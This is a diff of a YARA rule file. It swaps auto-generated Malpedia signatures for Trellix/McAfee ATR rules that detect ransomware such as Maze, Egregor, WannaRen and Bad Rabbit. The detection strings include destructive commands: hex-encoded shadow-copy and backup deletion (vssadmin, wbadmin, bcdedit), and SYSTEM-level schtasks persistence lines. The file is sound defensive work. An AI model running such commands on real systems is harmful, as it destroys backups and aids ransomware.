-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c75b333a-682d-594f-91c1-b34498f1ad6e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snowflake_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snowflake_stealer_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "245c81a71d2d7616cdb88580467328ff9d430753f4cd71b549a9003edd26959a"
+		description = "Rule to detect tthe ThunderX ransomware family"
+		author = "McAfee ATR team"
+		id = "cf5ecd0c-db26-5fe4-a056-b5c1ca3b1d34"
+		date = "2020-09-14"
+		modified = "2020-10-12"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_ThunderX.yar#L3-L45"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "f870616c4a35239a01129daad5f12469b2df39251ee4bc9fbeb5523f00231ece"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransomware:W32/ThunderX"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash1 = "7bab5dedef124803668580a59b6bf3c53cc31150d19591567397bbc131b9ccb6"
+		hash2 = "0fbfdb8340108fafaca4c5ff4d3c9f9a2296efeb9ae89fcd9210e3d4c7239666"
+		hash3 = "7527459500109b3bb48665236c5c5cb2ec71ba789867ad2b6417b38b9a46615e"
 
 	strings:
-		$sequence_0 = { f20f114740 0fb64111 894738 89473c ff5308 8b542418 59 }
-		$sequence_1 = { f30fe6c0 660f2fc8 7623 84d2 750a f30f1048fc 0f5ac9 }
-		$sequence_2 = { f20f1000 f20f1106 8b4008 c7030a000000 894608 53 56 }
-		$sequence_3 = { eb54 8b54241c 8d4c2474 e8???????? 8b44247c 8b8c2480000000 31f6 }
-		$sequence_4 = { ff753c ff74241c e8???????? 59 59 83650800 83650c00 }
-		$sequence_5 = { ff7010 ff700c ff7110 ff710c ff7608 ff560c 83c414 }
-		$sequence_6 = { ff750c e8???????? 83c410 5f 8bc6 5e 5b }
-		$sequence_7 = { ff742428 e8???????? 50 53 56 e8???????? 8bd8 }
-		$sequence_8 = { c745f001000000 894ddc 51 8945e0 ff500c 83c404 8b45e0 }
-		$sequence_9 = { ff7310 e8???????? 8bf0 83c40c 85f6 756f 55 }
+		$pattern1 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573"
+		$s3 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii
+		$s4 = "626364656469742E657865202F736574207B64656661756C747D207265636F76657279656E61626C6564204E6F" ascii
+		$s5 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii
+		$s6 = "433A5C50726F6772616D2046696C65732028783836295C4D6963726F736F66742053514C20536572766572" ascii
+		$s7 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838" ascii
+		$s8 = "433A5C50726F6772616D2046696C65735C4D6963726F736F66742053514C20536572766572" ascii
+		$s9 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii
+		$s10 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii
+		$s11 = "534F4654574152455C4D6963726F736F66745C45524944" ascii
+		$s12 = "AppPolicyGetProcessTerminationMethod" fullword ascii
+		$s13 = "7B5041545445524E5F49447D" ascii
+		$s14 = "726561646D652E747874" ascii
+		$s15 = "226E6574776F726B223A22" ascii
+		$s16 = "227375626964223A22" ascii
+		$s17 = "226C616E67223A22" ascii
+		$s18 = "22657874223A22" ascii
+		$s19 = "69642E6B6579" ascii
+		$s20 = "7B5549447D" ascii
+		$seq0 = { eb 34 66 0f 12 0d 10 c4 41 00 f2 0f 59 c1 ba cc }
+		$seq1 = { 6a 07 50 e8 51 ff ff ff 8d 86 d0 }
+		$seq2 = { ff 15 34 81 41 00 eb 15 83 f8 fc 75 10 8b 45 f4 }
 
 	condition:
-		7 of them and filesize <6196224
+		( uint16(0)==0x5a4d and filesize <400KB and pe.imphash()=="ea7e408cd2a264fd13492973e97d8d70" and $pattern1 and 4 of them ) and all of ($seq*) or ( all of them )
 }
-rule MALPEDIA_Win_Beatdrop_Auto : FILE
+rule TRELLIX_ARC_Ransom_Maze : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b3142cf9-1fa2-58bd-9f49-d91bf2cf24b1"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.beatdrop_auto.yar#L1-L124"
-		license_url = "N/A"
-		logic_hash = "171eb025ab1384be132ed16b4793a3dd033a6c86c2974208fbbb41bec30e49af"
+		description = "Detecting MAZE Ransomware"
+		author = "McAfee ATR"
+		id = "098a93c4-9aab-5563-af17-7aa91b056f64"
+		date = "2020-04-19"
+		modified = "2020-10-12"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Maze.yar#L1-L39"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "5badaf28bde6dcf77448b919e2290f95cd8d4e709ef2d699aae21f7bae68a76c"
+		logic_hash = "fc16475fbc2a2acf5d053ded4d2ec4126c6d6dcac3a6eafadcd6c61419dd7594"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Maze"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { e8???????? 4c89f1 e8???????? 4c8d0571aaffff }
-		$sequence_1 = { 4733bc84000c0000 4189c1 4589f0 41c1e918 4433bebc000000 41c1e810 }
-		$sequence_2 = { 0fb6c0 413394b5000c0000 c1eb18 33552c 4133948500040000 4489c0 }
-		$sequence_3 = { 4189d3 0fb6ce 41c1e818 41c1eb18 478b4c8500 4589f8 438b5c9d00 }
-		$sequence_4 = { 4189d3 c1ea18 41c1eb10 335e78 418b1494 4333948c000c0000 450fb6db }
-		$sequence_5 = { 4489cb 334610 41c1eb18 450fb6d2 0fb6df 4333849400040000 }
-		$sequence_6 = { 41c1e818 4189cf 4489d1 478b0484 4733848c000c0000 4589d1 }
-		$sequence_7 = { 488b3d???????? 89d8 4989ce 4989d5 488b0d???????? 4c89c6 4c89cd }
-		$sequence_8 = { 498344241010 eb11 498d4c2408 e8???????? eb05 49ff442418 }
-		$sequence_9 = { e8???????? 4885c0 752c 4c8b4b08 41b813000000 }
+		$x1 = "process call create \"cmd /c start %s\"" fullword wide
+		$s1 = "%spagefile.sys" fullword wide
+		$s2 = "%sswapfile.sys" fullword wide
+		$s3 = "%shiberfil.sys" fullword wide
+		$s4 = "\\wbem\\wmic.exe" fullword wide
+		$s5 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" fullword ascii
+		$s6 = "NO MUTEX | " fullword wide
+		$s7 = "--nomutex" fullword wide
+		$s8 = ".Logging enabled | Maze" fullword wide
+		$s9 = "DECRYPT-FILES.txt" fullword wide
+		$op0 = { 85 db 0f 85 07 ff ff ff 31 c0 44 44 44 44 5e 5f }
+		$op1 = { 66 90 89 df 39 ef 89 fb 0f 85 64 ff ff ff eb 5a }
+		$op2 = { 56 e8 34 ca ff ff 83 c4 08 55 e8 0b ca ff ff 83 }
 
 	condition:
-		7 of them and filesize <584704
+		( uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
 }
-rule MALPEDIA_Win_Nimbo_C2_Auto : FILE
+import "hash"
+import "pe"
+
+rule TRELLIX_ARC_Ransom_Egregor : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "89998246-cbee-55ef-81ba-46cc3fd70d1a"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nimbo_c2_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "8c39050d61f289d245bf6365ffd110e7ad73787b347fdf5526ee916f50a01d10"
+		description = "Detect Egregor ransomware"
+		author = "Thomas Roccia | McAfee ATR team"
+		id = "b9f1a712-c168-5e0f-8b9e-cb03a6c43fc3"
+		date = "2020-10-28"
+		modified = "2020-10-28"
+		reference = "https://bazaar.abuse.ch/sample/004a2dc3ec7b98fa7fe6ae9c23a8b051ec30bcfcd2bc387c440c07ff5180fe9a/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_egregor.yar#L4-L31"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "5f9fcbdf7ad86583eb2bbcaa5741d88a"
+		logic_hash = "8077c656eed0b1633da54f8d017d4eff122f2f4e486c4e1af6f6434ea33c0675"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom/Egregor"
+		actor_type = "Cybercrime"
+		actor_group = "egregor"
 
 	strings:
-		$sequence_0 = { 741a 488b4960 ba22000000 e8???????? 488d4b60 4889c2 e8???????? }
-		$sequence_1 = { 7434 498b07 b902000000 4899 48f7f9 498b17 31c9 }
-		$sequence_2 = { e8???????? 4883c470 5b 5e 5f 415c 415d }
-		$sequence_3 = { 488b4c2428 84c0 740f 4883c430 415c 415d 415e }
-		$sequence_4 = { 4889f1 4889442420 e8???????? 48ff4608 4883c440 5b 5e }
-		$sequence_5 = { 7d45 eb49 488b4a10 488b5218 48894810 4889d9 48895018 }
-		$sequence_6 = { 4d8b2c24 31ff 4c39ef 7de9 498b54fc10 4889f1 48ffc7 }
-		$sequence_7 = { e8???????? 31d2 4c89e1 498907 e8???????? 4c89e9 488906 }
-		$sequence_8 = { c1fa0c 83e23f 83ca80 885012 89da 83e33f c1fa06 }
-		$sequence_9 = { 807c33102d 0f94c0 48ffc6 ebd4 4c89e0 4883c428 5b }
+		$p1 = "ewdk.pdb" fullword ascii
+		$p2 = "testbuild.pdb" fullword ascii
+		$s1 = "M:\\" nocase ascii
+		$s2 = "1z1M9U9" fullword wide
+		$s3 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide
 
 	condition:
-		7 of them and filesize <1141760
+		uint16(0)==0x5a4d and filesize <2000KB and hash.sha256(pe.rich_signature.clear_data)=="b030ed1a7ca222a0923a59f321be7e55b8d0fc24c1134df1ba775bcf0994c79c" or (pe.sections[4].name==".gfids" and pe.sections[5].name==".00cfg") and ( any of ($p*) or 2 of ($s*))
 }
-rule MALPEDIA_Win_Ufrstealer_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Ransom_Avoslocker : FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "87df7a80-59b4-5e49-9e5c-787423bd5a1a"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ufrstealer_auto.yar#L1-L129"
-		license_url = "N/A"
-		logic_hash = "bbd8353728980ed7d41eeaaf6b45527dc201d1c8bc1c51c590cb1fee36b76ae8"
+		description = "Rule to detect Avoslocker Ransomware"
+		author = "CB @ ATR"
+		id = "50f029c8-154e-583d-8264-8d86d01075f6"
+		date = "2021-07-22"
+		modified = "2021-07-22"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Avoslocker.yar#L3-L27"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "316aaab225797eedd62f9cfde1fdbd799a10441b3b15a8abc76141b57b36b1d3"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		Version = "v1"
+		DetectionName = "Ransom_Win_Avoslocker"
+		hash1 = "fb544e1f74ce02937c3a3657be8d125d5953996115f65697b7d39e237020706f"
+		hash2 = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856"
 
 	strings:
-		$sequence_0 = { 6a01 6a00 6a00 68???????? 6a00 68???????? ff15???????? }
-		$sequence_1 = { 0bc0 7529 8b43fc 03d8 8b03 83c304 83f8ff }
-		$sequence_2 = { ffb5ecf3ffff ff15???????? 5b 5f 5e c9 }
-		$sequence_3 = { 894df4 8b75f4 83ee01 c745f008000000 0fb64eff 0fb616 83f97f }
-		$sequence_4 = { 03c1 80383a 7505 c60000 eb03 49 }
-		$sequence_5 = { ff35???????? ff15???????? 85c0 0f842debffff a3???????? 68???????? ff15???????? }
-		$sequence_6 = { 0f85c0000000 0fb60d???????? a1???????? 8808 8305????????01 894dfc bb???????? }
-		$sequence_7 = { 8d45dc 6a04 50 e8???????? 8305????????04 e8???????? }
-		$sequence_8 = { 50 68???????? 68???????? 6a00 ff15???????? 68???????? ff15???????? }
-		$sequence_9 = { c745d80e000000 33c0 8b75d8 8bc8 8db65c884200 }
+		$v1 = "CryptImportPublicKeyInfo failed. error: %d" fullword ascii
+		$v2 = "CryptStringToBinary failed. Err: %d" fullword ascii
+		$v3 = "encrypting %ls failed" fullword wide
+		$v4 = "CryptDecodeObjectEx 1 failed. Err: %p" fullword ascii
+		$v5 = "operator co_await" fullword ascii
+		$v6 = "drive %s took %f seconds" fullword ascii
+		$seq0 = { 8d 4e 04 5e e9 b1 ff ff ff 55 8b ec ff 75 08 ff }
+		$seq1 = { 33 c0 80 fb 2d 0f 94 c0 05 ff ff ff 7f eb 02 f7 }
+		$seq2 = { 8b 40 0c 89 85 1c ff ff ff 8b 40 0c 89 85 18 ff }
 
 	condition:
-		7 of them and filesize <770048
+		( uint16(0)==0x5a4d and filesize <1000KB and pe.imphash()=="a24c2b5bf84a5465eb75f1e6aa8c1eec" and (5 of them ) and all of ($seq*)) or ( all of them )
 }
-rule MALPEDIA_Win_Socks5_Systemz_Auto : FILE
+rule TRELLIX_ARC_Wannaren_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "11fdca9d-b672-58c8-b928-df2c27b8d2c6"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.socks5_systemz_auto.yar#L1-L97"
-		license_url = "N/A"
-		logic_hash = "c567898c7f496303ddbf924e08954da7846c60ee6266bcbd0213f34733b6e6b6"
+		description = "Rule to detect WannaRen Ransomware"
+		author = "McAfee ATR Team"
+		id = "f4f30d12-547d-5044-a4e5-b88bf359480f"
+		date = "2020-04-25"
+		modified = "2020-10-12"
+		reference = "https://blog.360totalsecurity.com/en/attention-you-may-have-become-a-susceptible-group-of-wannaren-ransomware/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_wannaren.yar#L1-L34"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "7b364f1c854e6891c8d09766bcc9a49420e0b5b4084d74aa331ae94e2cfb7e1d"
+		logic_hash = "0feb913b84eb0ecdda688f0cf0a5051798fe4fbce8a6ea959825985a81a6699c"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/WannaRen"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 50 64892500000000 83ec14 894df0 8b45f0 83c018 }
-		$sequence_1 = { 8b45c8 c6041000 b901000000 6bd100 8b8500feffff }
-		$sequence_2 = { 8b45d4 8945e0 8b4ddc 51 }
-		$sequence_3 = { 8b45d8 8945f0 837df000 7413 }
-		$sequence_4 = { 8b45cc c6041000 b901000000 6bd100 8b45c8 c6041000 }
-		$sequence_5 = { 8b45cc 50 e8???????? 59 c3 8d4dd8 }
-		$sequence_6 = { 8b45d0 e9???????? e9???????? 837dcc00 }
-		$sequence_7 = { 8b45d8 50 8b4df0 83c124 }
+		$sq0 = { 92 93 a91c2ea521 59 334826 }
+		$sq1 = { d0ce 6641 c1e9c0 41 80f652 49 c1f94d }
+		$sq2 = { 80f8b5 4d 63c9 f9 4d 03d9 41 }
+		$sq3 = { 34b7 d2ea 660fbafa56 0f99c2 32d8 660fbafaed 99 }
+		$sq4 = { f9 f7c70012355f 35c01f5226 f9 8d8056c800b0 f6c4b2 f9 }
+		$sq5 = { f5 f9 44 3aeb 45 33cd 41 }
+		$sq6 = { 890f c0ff12 44 b4a3 ee 2b4e70 7361 }
+		$sq7 = { 81c502000000 6689542500 6681d97a1e 660fabe1 660fbae1a5 8b0f 8dbf04000000 }
+		$sq8 = { 8d13 de11 d7 677846 f1 0d8cd45f87 bb34b98f33 }
+		$sq9 = { 1440 4b 41 e8???????? 397c0847 }
 
 	condition:
-		7 of them and filesize <491520
+		uint16(0)==0x5a4d and filesize <21000KB and 7 of them
 }
-rule MALPEDIA_Win_Keymarble_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Badbunny : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "25735efc-9b7e-5c4e-843b-1618e0690062"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.keymarble_auto.yar#L1-L113"
-		license_url = "N/A"
-		logic_hash = "6744b9f4fc70c631928ab5473ea2bd7eecc2671462bf651b9238352600b5d250"
+		description = "Bad Rabbit Ransomware"
+		author = "Christiaan Beek"
+		id = "190ee396-4c26-54f7-baac-bb45e3587488"
+		date = "2017-10-24"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_BadRabbit.yar#L3-L47"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "2879b8dc1ca0e86253354ac24b56d950878b23215b503da9b1d5faabd2c4bf9d"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 45
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/BadRabbit"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash1 = "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93"
 
 	strings:
-		$sequence_0 = { ff15???????? 50 e8???????? 83c404 56 6a40 }
-		$sequence_1 = { ff15???????? 50 e8???????? 83c404 56 6a40 ff15???????? }
-		$sequence_2 = { e8???????? 83c404 56 6a40 ff15???????? }
-		$sequence_3 = { 83c404 e8???????? 8d3470 81e6ffffff7f }
-		$sequence_4 = { 50 ff15???????? 68???????? 6a40 }
-		$sequence_5 = { 83c408 85c0 7407 bb7a452301 }
-		$sequence_6 = { 50 e8???????? 83c404 56 6a40 }
-		$sequence_7 = { ff15???????? 50 ff15???????? 68???????? 6a40 }
-		$sequence_8 = { 83c404 56 6a40 ff15???????? }
-		$sequence_9 = { 6a00 6a03 6800000040 57 ffd6 }
+		$x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" fullword wide
+		$x2 = "need to do is submit the payment and get the decryption password." fullword ascii
+		$s3 = "If you have already got the password, please enter it below." fullword ascii
+		$s4 = "dispci.exe" fullword wide
+		$s5 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide
+		$s6 = "Run DECRYPT app at your desktop after system boot" fullword ascii
+		$s7 = "Enter password#1: " fullword wide
+		$s8 = "Enter password#2: " fullword wide
+		$s9 = "C:\\Windows\\cscc.dat" fullword wide
+		$s10 = "schtasks /Delete /F /TN %ws" fullword wide
+		$s11 = "Password#1: " fullword ascii
+		$s12 = "\\AppData" fullword wide
+		$s13 = "Disk decryption completed" fullword wide
+		$s14 = "Files decryption completed" fullword wide
+		$s15 = "http://diskcryptor.net/" fullword wide
+		$s16 = "Your personal installation key#1:" fullword ascii
+		$s17 = ".3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl.cxx.dbf.der.dib.disk.djvu.doc.docx.dwg." wide
+		$s18 = "Disable your anti-virus and anti-malware programs" fullword wide
+		$s19 = "bootable partition not mounted" fullword ascii
 
 	condition:
-		7 of them and filesize <1146880
+		( uint16(0)==0x5a4d and filesize <400KB and pe.imphash()=="94f57453c539227031b918edd52fc7f1" and (1 of ($x*) or 4 of them )) or ( all of them )
 }
-rule MALPEDIA_Win_Attor_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Badrabbit_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "de68d27a-a7e8-5baa-94a2-9db640461043"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.attor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.attor_auto.yar#L1-L165"
-		license_url = "N/A"
-		logic_hash = "9ffbefbd2b4397dd03e1eba42ffa85ea59dac9e4723a113680ffe4af7c4fe1e3"
+		description = "Rule to detect Bad Rabbit Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "d6e78c14-0913-5eed-be15-a6d1a8cd1a8d"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://securelist.com/bad-rabbit-ransomware/82851/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_BadRabbit.yar#L49-L101"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "7536f021ce7fede0f1a2bf2f4ebc7d6e7269a6dd63005cab1fc6a309a71c61c0"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 43
+		tags = "RANSOMWARE, FILE"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/BadRabbit"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 83f801 7411 3d81000000 740a }
-		$sequence_1 = { 33c0 488b6c2450 4883c420 415c 5f 5e }
-		$sequence_2 = { 488b8c24b0000000 4c8b642468 4885c9 7402 8919 408ac5 }
-		$sequence_3 = { 488b8c2490000000 4885c9 0f8441020000 41b802000000 8bd5 ff15???????? 85c0 }
-		$sequence_4 = { 48395c2430 0f8447010000 b101 e8???????? }
-		$sequence_5 = { 48c744243000000000 7414 33c9 e8???????? 488b8c2490000000 }
-		$sequence_6 = { 7435 488b442440 488b8c2490000000 4533c0 418d5002 4d8bcf }
-		$sequence_7 = { 4533c0 4d8bcc 418d5002 44896c2420 ff15???????? }
-		$sequence_8 = { 8b4c2418 50 55 8b2d???????? 6a00 }
-		$sequence_9 = { 740a 83f808 7405 83f811 }
-		$sequence_10 = { 56 ff15???????? 8d4c2418 8d54241c 51 52 }
-		$sequence_11 = { 83c408 eb06 8b35???????? 897c241c 8b7c2420 85ff }
-		$sequence_12 = { 83c40c 89442420 85c0 0f842b010000 8b4c2430 8d7108 }
-		$sequence_13 = { 85c0 0f840c010000 8b54241c 57 52 }
-		$sequence_14 = { 897504 c644241301 740a 8b4c2418 }
-		$sequence_15 = { 8b44243c 3bc7 7434 8b54241c }
+		$s1 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\" \\\"%wsdispci.exe\\\" -id %u && exit\"" fullword wide
+		$s2 = "C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\" fullword wide
+		$s3 = "process call create \"C:\\Windows\\System32\\rundll32.exe" fullword wide
+		$s4 = "need to do is submit the payment and get the decryption password." fullword wide
+		$s5 = "schtasks /Create /SC once /TN drogon /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" fullword wide
+		$s6 = "rundll32 %s,#2 %s" fullword ascii
+		$s7 = " \\\"C:\\Windows\\%s\\\" #1 " fullword wide
+		$s8 = "Readme.txt" fullword wide
+		$s9 = "wbem\\wmic.exe" fullword wide
+		$s10 = "SYSTEM\\CurrentControlSet\\services\\%ws" fullword wide
+		$og1 = { 39 74 24 34 74 0a 39 74 24 20 0f 84 9f }
+		$og2 = { 74 0c c7 46 18 98 dd 00 10 e9 34 f0 ff ff 8b 43 }
+		$og3 = { 8b 3d 34 d0 00 10 8d 44 24 28 50 6a 04 8d 44 24 }
+		$oh1 = { 39 5d fc 0f 84 03 01 00 00 89 45 c8 6a 34 8d 45 }
+		$oh2 = { e8 14 13 00 00 b8 ff ff ff 7f eb 5b 8b 4d 0c 85 }
+		$oh3 = { e8 7b ec ff ff 59 59 8b 75 08 8d 34 f5 48 b9 40 }
+		$oj4 = { e8 30 14 00 00 b8 ff ff ff 7f 48 83 c4 28 c3 48 }
